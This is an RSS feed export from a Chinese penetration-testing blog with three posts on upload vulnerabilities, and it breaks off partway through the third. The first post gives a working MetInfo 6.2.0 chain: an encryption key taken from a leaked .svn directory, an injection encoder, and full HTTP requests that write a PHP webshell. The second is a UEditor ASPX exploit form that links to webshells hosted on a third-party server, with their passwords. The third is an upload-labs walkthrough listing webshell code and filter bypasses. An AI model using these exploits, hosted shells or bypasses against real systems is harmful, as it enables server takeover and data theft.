<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>上传 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E4%B8%8A%E4%BC%A0/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 27 Sep 2019 16:23:47 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳</title>
		<link>/web/999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 27 Sep 2019 16:23:47 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[正则]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=999</guid>

					<description><![CDATA[今天公司做技术分享，分享了项目中的一个攻击metinfo的案例，很有意思的攻击链，记录下。 svn泄露 svn是一个开放源代码的版本控制系统，如果在网站中存在.svn目录，那么我们...]]></description>
										<content:encoded><![CDATA[<p>今天公司做技术分享，分享了项目中的一个攻击<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>的案例，很有意思的攻击链，记录下。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/svn" title="svn" target="_blank">svn</a></span>泄露</h1>
<p>svn是一个开放源代码的版本控制系统，如果在网站中存在<code>.svn</code>目录，那么我们可以拿到网站的源代码，方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时，Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/</p>
<p>在目标站中发现了<code>http://php.local/.svn/</code>目录泄露源代码，发现是metinfo cms，拿到了位于<code>config/config_safe.php</code>中的key，这个key起到了很大作用。</p>
<p>什么是key呢？为什么要有这个key呢？</p>
<p>在metinfo安装完成后，会在<code>config/config_safe.php</code>写入一个key，这个key是用来加密解密账户信息的，你可以在<code>app/system/include/class/auth.class.php</code>看到加解密算法。</p>
<p><img src="https://y4er.com/img/uploads/20190927220929.png" alt="20190927220929" /></p>
<p>可以看到加解密采用了<code>$this-&gt;auth_key.$key</code>作为盐值，<code>$key</code>默认为空，那么这个<code>$this-&gt;auth_key</code>在哪定义的呢？</p>
<p>config/config.inc.php:109</p>
<p><img src="/wp-content/uploads/2019/09/20190927221247.png" alt="20190927221247" /></p>
<p>有了这个key，我们可以自己针对性去加密解密程序密文。</p>
<p>有什么用呢？大部分的cms都会有全局参数过滤，而metinfo的全局过滤简直变态，我们很难直接从request中找到可用的sql<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，<strong>而加了密之后的参数一半不会再进行过滤了</strong>，我们可以找下可控的加密参数。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>匹配导致的注入</h1>
<p>全局搜索<code>$auth-&gt;decode</code>寻找可控的参数，并且不走过滤的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927221832.png" alt="20190927221832" /></p>
<p>app/system/user/web/getpassword.class.php:93</p>
<pre><code class="language-php ">public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}
</code></pre>
<p>可以看到<code>$email</code>直接从<code>$_M['form']['p']</code>中经过<code>$auth-&gt;decode</code> <strong>解密</strong>获取，并没有进行过滤，然后在<code>get_user_by_email($email)</code>中代入数据库查询。但是经过了<code>is_email($email)</code>判断是否为正确的邮箱地址。</p>
<p>跟进app/system/include/function/str.func.php:26</p>
<pre><code class="language-php ">function is_email($email){
    $flag = true;
    $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}
</code></pre>
<p>很正常的正则表达式，<strong>但是唯一缺少的是<code>^</code>起始符！</strong>那么我们构造如<code>' and 1=1-- 1@qq.com</code>也会返回true！</p>
<p>email要经过<code>$auth-&gt;decode</code>解密，这个时候我们的key就派上用场了，我们可以使用<code>$auth-&gt;encode()</code>来加密我们的payload传进去，构成注入。</p>
<p>将auth类自己搞一份出来。</p>
<pre><code class="language-php ">&lt;?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927230507.png" alt="20190927230507" /></p>
<p>需要注意这个<code>123@qq.com</code>是你自己注册的用户，如果<code>met_user</code>表中不存在一条记录，是延时不了的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927230659.png" alt="20190927230659" /></p>
<p>延时成功，你也可以构造布尔盲注，到此为止就是注入的部分，但是我们的目标是拿权限，一个注入就满足了？</p>
<h1>组合拳</h1>
<p>app/system/include/class/web.class.php:467 省略部分代码</p>
<pre><code class="language-php ">public function __destruct(){
    global $_M;
    //读取缓冲区数据
    $output = str_replace(array('&lt;!--&lt;!---->','&lt;!---->','&lt;!--fck-->','&lt;!--fck','fck-->','',&quot;r&quot;,substr($admin_url,0,-1)),'',ob_get_contents());
    ob_end_clean();//清空缓冲区
...
    if($_M['form']['html_filename'] &amp;&amp; $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
        //静态页
        $filename = urldecode($_M['form']['html_filename']);
        if(stristr(PHP_OS,&quot;WIN&quot;)) {
            $filename = @iconv(&quot;utf-8&quot;, &quot;GBK&quot;, $filename);
        }
        if(stristr($filename, '.php')){
            jsoncallback(array('suc'=>0));
        }
        if(file_put_contents(PATH_WEB.$filename, $output)){
            jsoncallback(array('suc'=>1));
        }else{
            jsoncallback(array('suc'=>0));
        }
    }else{
        echo $output;//输出内容
    }
...
}
</code></pre>
<p>在前台基类web.class.php中有<code>__destruct</code>魔术方法，而在这个方法中使用<code>file_put_contents(PATH_WEB.$filename, $output</code>写入文件，其中<code>$output</code>是通过<code>ob_get_contents()</code>获取的缓冲区数据，而<code>$filename</code>是从<code>$_M['form']['html_filename']</code>拿出来的，我们可控。</p>
<p>但是有一个if条件<code>$_M['form']['metinfonow'] == $_M['config']['met_member_force']</code>，这个<code>met_member_force</code>在哪呢？在数据库里，我们可以通过刚才的注入拿到！</p>
<p><img src="/wp-content/uploads/2019/09/20190927232524.png" alt="20190927232524" /></p>
<p>那么我们现在的目的就变为怎么去控制<code>$output</code>也就是缓冲区的值。</p>
<blockquote><p>
  ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo，输出都将被加入缓冲区中，直到程序运行结束或者使用ob_flush()来结束。
</p></blockquote>
<p>也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出，配合刚才的注入便可以写入shell。</p>
<p>全局搜索<code>extends web</code>寻找子类，在子类中寻找可控echo输出，最终找到的是<code>app/system/include/module/uploadify.class.php</code>的doupfile()方法</p>
<pre><code class="language-php ">public function set_upload($info){
    global $_M;
    $this->upfile->set('savepath', $info['savepath']);
    $this->upfile->set('format', $info['format']);
    $this->upfile->set('maxsize', $info['maxsize']);
    $this->upfile->set('is_rename', $info['is_rename']);
    $this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
    global $_M;
    $back = $this->upfile->upload($formname);
    return $back;
}
...
public function doupfile(){
    global $_M;
    $this->upfile->set_upfile();
    $info['savepath'] = $_M['form']['savepath'];
    $info['format'] = $_M['form']['format'];
    $info['maxsize'] = $_M['form']['maxsize'];
    $info['is_rename'] = $_M['form']['is_rename'];
    $info['is_overwrite'] = $_M['form']['is_overwrite'];
    $this->set_upload($info);
    $back = $this->upload($_M['form']['formname']);
    if($_M['form']['type']==1){
        if($back['error']){
            $back['error'] = $back['errorcode'];
        }else{
            $backs['path'] = $back['path'];

            $backs['append'] = 'false';
            $back = $backs;
        }
    }
    $back['filesize'] =  round(filesize($back['path'])/1024,2);
    echo jsonencode($back);
}
...
</code></pre>
<p>echo的$back变量是从<code>$_M['form']['formname']</code>取出来的，可控，向上推看back变量的取值由<code>$this-&gt;upfile-&gt;upload($formname)</code>决定，跟进。</p>
<pre><code class="language-php ">public function upload($form = '') {
    global $_M;
    if($form){
        foreach($_FILES as $key => $val){
            if($form == $key){
                $filear = $_FILES[$key];
            }
        }
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }

    //是否能正常上传
    if(!is_array($filear))$filear['error'] = 4;
    if($filear['error'] != 0 ){
        $errors = array(
            0 => $_M['word']['upfileOver4'],
            1 => $_M['word']['upfileOver'],
            2 => $_M['word']['upfileOver1'],
            3 => $_M['word']['upfileOver2'],
            4 => $_M['word']['upfileOver3'],
            6 => $_M['word']['upfileOver5'],
            7 => $_M['word']['upfileOver5']
        );
        $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是否正确{}
    if ($filear[&quot;size&quot;] > $this->maxsize || $filear[&quot;size&quot;] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error(&quot;{$_M['word']['upfileFile']}&quot;.$filear[&quot;name&quot;].&quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&quot;);
    }
    //文件后缀是否为合法后缀
    $this->getext($filear[&quot;name&quot;]); //获取允许的后缀
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext.&quot; {$_M['word']['upfileTip3']}&quot;);
    }
    ...
}
</code></pre>
<p>省略部分代码</p>
<p>我们要看return回去的值就是back变量的值，所以重点关注return的东西看是否可控。</p>
<p>首先是正常foreach取出<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>文件的信息，然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀，如果有错就return。到这里有两种思路。</p>
<h2>超出文件大小<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><img src="/wp-content/uploads/2019/09/20190927234118.png" alt="20190927234118" /></p>
<p>在后台中最大文件大小是8m，如果我们上传一个超出8m的文件，那么upload()函数就会<code>return $this-&gt;error(&amp;quot;{$_M['word']['upfileFile']}&amp;quot;.$filear[&amp;quot;name&amp;quot;].&amp;quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&amp;quot;);</code> 而这个<code>$filear[&amp;quot;name&amp;quot;]</code>是我们可控的，在foreach中赋值的。</p>
<p>那么这样我们就可以把<code>$filear[&amp;quot;name&amp;quot;]</code>改为shell，然后return回去，赋值给$back，echo进缓冲区，最后file_put_contents拿到shell，完美的利用链。</p>
<p>但是这个8m太大了，<strong>我们可以通过注入进后台把这个限制改为0.0008</strong></p>
<p>构造下payload，<strong>需要注意<code>metinfonow</code>参数是上文中从数据库中取出的<code>met_member_force</code></strong></p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php eval($_POST[1]);?>&quot;
Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927235251.png" alt="20190927235251" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235336.png" alt="20190927235336" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235402.png" alt="20190927235402" /></p>
<h2>无后缀getshell</h2>
<p>@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell，我自己测试在6.2.0中已经修复，不过还是提一下。</p>
<p>问题出在 app/system/include/class/upfile.class.php:139 getext()函数</p>
<p>如果不是合法后缀会<code>return $this-&gt;error($this-&gt;ext.&amp;quot; {$_M['word']['upfileTip3']}&amp;quot;)</code>，而<code>$this-&gt;ext</code>经过<code>getext()</code>函数，跟进</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    return $this->ext = $ext;
}
</code></pre>
<p>直接<code>return $ext</code>，那么我们上传一个无后缀的文件，文件名写一句话就可以getshell</p>
<p><img src="/wp-content/uploads/2019/09/20190928000955.png" alt="20190928000955" /></p>
<p><img src="/wp-content/uploads/2019/09/20190928001104.png" alt="20190928001104" /></p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php phpinfo();?>&quot;
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p>而在6.2.0中，加入了一行正则判断后缀，绕不过去，无法getshell</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    if (preg_match(&quot;/^[0-9a-zA-Z]+$/u&quot;, $ext)) {
        return $this->ext = $ext;
    }
    return $this->ext = '';
}
</code></pre>
<h1>总结</h1>
<ol>
<li>svn泄露分版本</li>
<li>注册是邮件的正则匹配问题</li>
<li>参数加密一般不走全局过滤 找找注入</li>
<li>关注echo和ob_get_contents()函数 说不定能写shell呢</li>
</ol>
<p>参考链接</p>
<ol>
<li>https://nosec.org/home/detail/2436.html</li>
<li>https://xz.aliyun.com/t/4425</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ueditor编辑器上传漏洞</title>
		<link>/web/573.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 07 Oct 2018 11:12:51 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[ueditor]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[编辑器]]></category>
		<guid isPermaLink="false">/?p=573</guid>

					<description><![CDATA[ueditor ASPX 版本由于远程抓取代码缺陷导致的安全漏洞, 官方仍未修复 controller.ashx 文件默认在网站根目录 输入框里填写远程图片地址 + ?.aspx,...]]></description>
										<content:encoded><![CDATA[<p><a href="/wp-content/uploads/2018/10/2018100719173995.png"><img loading="lazy" class="aligncenter size-full wp-image-574" src="/wp-content/uploads/2018/10/2018100719173995.png" alt="" width="530" height="317" /></a></p>
<p><span class="wpcom_tag_link"><a href="/tags/ueditor" title="ueditor" target="_blank">ueditor</a></span> ASPX 版本由于远程抓取代码缺陷导致的安全漏洞, 官方仍未修复</p>
<p><code>controller.ashx</code> 文件默认在网站根目录</p>
<p>输入框里填写远程图片地址 + <code>?.aspx</code>, 如 <code>http://exp10it.cn/1.gif?.aspx</code></p>
<pre class="lang:default decode:true ">&lt;form action="http://target/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST"&gt;
  &lt;p&gt;shell addr:&lt;input type="text" name="source[]" /&gt;&lt;/p &gt;
  &lt;input type="submit" value="Submit" /&gt;
&lt;/form&gt;</pre>
<p>&nbsp;</p>
<p>一句话 密码 <code>xz</code></p>
<p><code>https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/1.gif?.aspx</code></p>
<p>大马 密码 <code>r00ts</code></p>
<p><code>https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/2.gif?.aspx</code></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>upload-labs-writeup：upload-labs 上传漏洞靶场的解题方法</title>
		<link>/web/470.html</link>
					<comments>/web/470.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 24 Jul 2018 06:44:40 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[upload]]></category>
		<category><![CDATA[Writeup]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[突破]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=470</guid>

					<description><![CDATA[0x00：前言 本篇文章主要记录绕过一个基于php语言的上传漏洞的靶场项目upload-labs (最新commit17ec936) 的19个上传关卡的方法。 文章适合有一定上传绕...]]></description>
										<content:encoded><![CDATA[<h3>0x00：前言</h3>
<p>本篇文章主要记录绕过一个基于php语言的<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>漏洞的靶场项目<a href="https://github.com/c0ny1/upload-labs">upload-labs</a> (最新commit<a href="https://github.com/c0ny1/upload-labs/commit/17ec93650d05d956e5868518cd6e8e36085ab2a3">17ec936</a>) 的19个上传关卡的方法。</p>
<p>文章适合有一定上传绕过知识基础的读者阅读，绕过原理请参考其它文章和项目源码，限于篇幅文章中不展开解释。</p>
<h3><a id="user-content-0x01测试配置" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#0x01%E6%B5%8B%E8%AF%95%E9%85%8D%E7%BD%AE" aria-hidden="true"></a>0x01：测试配置</h3>
<p>可直接下载作者的配置好的PHPStudy<a href="https://github.com/c0ny1/upload-labs/releases">靶场运行环境</a>，节省时间。</p>
<table>
<thead>
<tr>
<th align="left">浏览器</th>
<th align="left">Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>插件</strong></td>
<td align="left">NoScript</td>
</tr>
<tr>
<td align="left"><strong>插件</strong></td>
<td align="left">HackBar</td>
</tr>
<tr>
<td align="left"><strong>抓包工具</strong></td>
<td align="left">Burpsuite Pro</td>
</tr>
<tr>
<td align="left"><strong>Webshell代码</strong></td>
<td align="left"><code>&lt;?php assert($_POST["LandGrey"])?&gt;</code></td>
</tr>
</tbody>
</table>
<h3><a id="user-content-0x02绕过方法" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#0x02%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95" aria-hidden="true"></a>0x02：绕过方法</h3>
<h4><a id="user-content-pass-01" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-01" aria-hidden="true"></a>Pass-01</h4>
<p>前端禁用JS，直接上传Webshell</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/01-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/01-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-02" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-02" aria-hidden="true"></a>Pass-02</h4>
<p>截断上传数据包，修改Content-Type为<code>image/gif</code>，然后放行数据包</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/02-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/02-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-03" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-03" aria-hidden="true"></a>Pass-03</h4>
<p>重写文件解析规则绕过。上传先上传一个名为<code>.htaccess</code>文件，内容如下：</p>
<pre><code>&lt;FilesMatch "03.jpg"&gt;
SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;
</code></pre>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/03-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/03-1.png" alt="" /></a></p>
<p>然后再上传一个<code>03.jpg</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/03-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/03-2.png" alt="" /></a></p>
<p>执行上传的<code>03.jpg</code>脚本</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/03-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/03-3.png" alt="" /></a></p>
<h4><a id="user-content-pass-04" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-04" aria-hidden="true"></a>Pass-04</h4>
<p>利用PHP 和 Windows环境的叠加特性，以下符号在正则匹配时的相等性：</p>
<pre><code>双引号"     =   点号.
大于符号&gt;   =   问号?
小于符号&lt;   =   星号*
</code></pre>
<p>先上传一个名为<code>4.php:.jpg</code>的文件，上传成功后会生成<code>4.php</code>的空文件，大小为0KB.</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/04-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/04-1.png" alt="" /></a></p>
<p>然后将文件名改为<code>4.&lt;</code>或<code>4.&lt;&lt;&lt;</code>或<code>4.&gt;&gt;&gt;</code>或<code>4.&gt;&gt;&lt;</code>后再次上传，重写<code>4.php</code>文件内容，Webshell代码就会写入原来的<code>4.php</code>空文件中。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/04-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/04-2.png" alt="" /></a></p>
<h4><a id="user-content-pass-05" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-05" aria-hidden="true"></a>Pass-05</h4>
<p>文件名后缀大小写混合绕过。<code>05.php</code>改成<code>05.phP</code>然后上传</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/05-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/05-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-06" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-06" aria-hidden="true"></a>Pass-06</h4>
<p>利用Windows系统的文件名特性。文件名最后增加<strong>点和空格</strong>，写成<code>06.php.</code>，上传后保存在Windows系统上的文件名最后的一个<code>.</code>会被去掉，实际上保存的文件名就是<code>06.php</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/06-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/06-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-07" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-07" aria-hidden="true"></a>Pass-07</h4>
<p>原理同<strong>Pass-06</strong>，文件名后加点，改成<code>07.php.</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/07-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/07-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-08" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-08" aria-hidden="true"></a>Pass-08</h4>
<p>Windows文件流特性绕过，文件名改成<code>08.php::$DATA</code>，上传成功后保存的文件名其实是<code>08.php</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/08-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/08-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-09" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-09" aria-hidden="true"></a>Pass-09</h4>
<p><strong>原理同Pass-06</strong>，上传文件名后加上<strong>点+空格+点</strong>，改为<code>09.php. .</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/09-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/09-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-10" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-10" aria-hidden="true"></a>Pass-10</h4>
<p>双写文件名绕过，文件名改成<code>10.pphphp</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/10-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/10-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-11" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-11" aria-hidden="true"></a>Pass-11</h4>
<p>上传路径名%00截断绕过。上传的文件名写成<code>11.jpg</code>, save_path改成<code>../<span class="wpcom_tag_link"><a href="/tags/upload" title="upload" target="_blank">upload</a></span>/11.php%00</code>，最后保存下来的文件就是<code>11.php</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/11-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/11-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-12" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-12" aria-hidden="true"></a>Pass-12</h4>
<p>php.ini设置 <code>magic_quotes_gpc = Off</code></p>
